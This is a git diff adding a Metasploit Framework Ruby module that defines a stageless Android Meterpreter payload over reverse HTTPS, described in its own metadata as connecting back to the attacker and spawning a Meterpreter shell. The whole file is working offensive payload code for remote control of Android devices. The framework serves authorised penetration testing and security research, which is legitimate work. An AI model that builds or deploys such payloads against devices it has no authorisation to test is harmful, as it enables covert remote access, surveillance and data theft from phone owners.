|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | +require 'msf/core/handler/reverse_https' |
| 8 | +require 'msf/core/payload/transport_config' |
| 9 | +require 'msf/core/payload/android' |
| 10 | +require 'msf/core/payload/uuid/options' |
| 11 | +require 'msf/base/sessions/meterpreter_android' |
| 12 | +require 'msf/base/sessions/meterpreter_options' |
| 13 | +require 'rex/payloads/meterpreter/config' |
| 14 | + |
| 15 | +module MetasploitModule |
| 16 | + |
| 17 | + CachedSize = :dynamic |
| 18 | + |
| 19 | + include Msf::Payload::TransportConfig |
| 20 | + include Msf::Payload::Single |
| 21 | + include Msf::Payload::Android |
| 22 | + include Msf::Payload::UUID::Options |
| 23 | + include Msf::Sessions::MeterpreterOptions |
| 24 | + |
| 25 | + |
| 26 | + def initialize(info = {}) |
| 27 | + |
| 28 | + super(merge_info(info, |
| 29 | + 'Name' => 'Android Meterpreter Shell, Reverse HTTPS Inline', |
| 30 | + 'Description' => 'Connect back to attacker and spawn a Meterpreter shell', |
| 31 | + 'License' => MSF_LICENSE, |
| 32 | + 'Platform' => 'android', |
| 33 | + 'Arch' => ARCH_DALVIK, |
| 34 | + 'Handler' => Msf::Handler::ReverseHttps, |
| 35 | + 'Session' => Msf::Sessions::Meterpreter_Java_Android, |
| 36 | + 'Payload' => '', |
| 37 | + )) |
| 38 | + end |
| 39 | + |
| 40 | + # |
| 41 | + # Generate the transport-specific configuration |
| 42 | + # |
| 43 | + def transport_config(opts={}) |
| 44 | + transport_config_reverse_https(opts) |
| 45 | + end |
| 46 | + |
| 47 | + def generate_jar(opts={}) |
| 48 | + uri_req_len = 30 + luri.length + rand(256 - (30 + luri.length)) |
| 49 | + opts[:uri] = generate_uri_uuid_mode(:connect, uri_req_len) |
| 50 | + opts[:stageless] = true |
| 51 | + super(opts) |
| 52 | + end |
| 53 | + |
| 54 | +end |
0 commit comments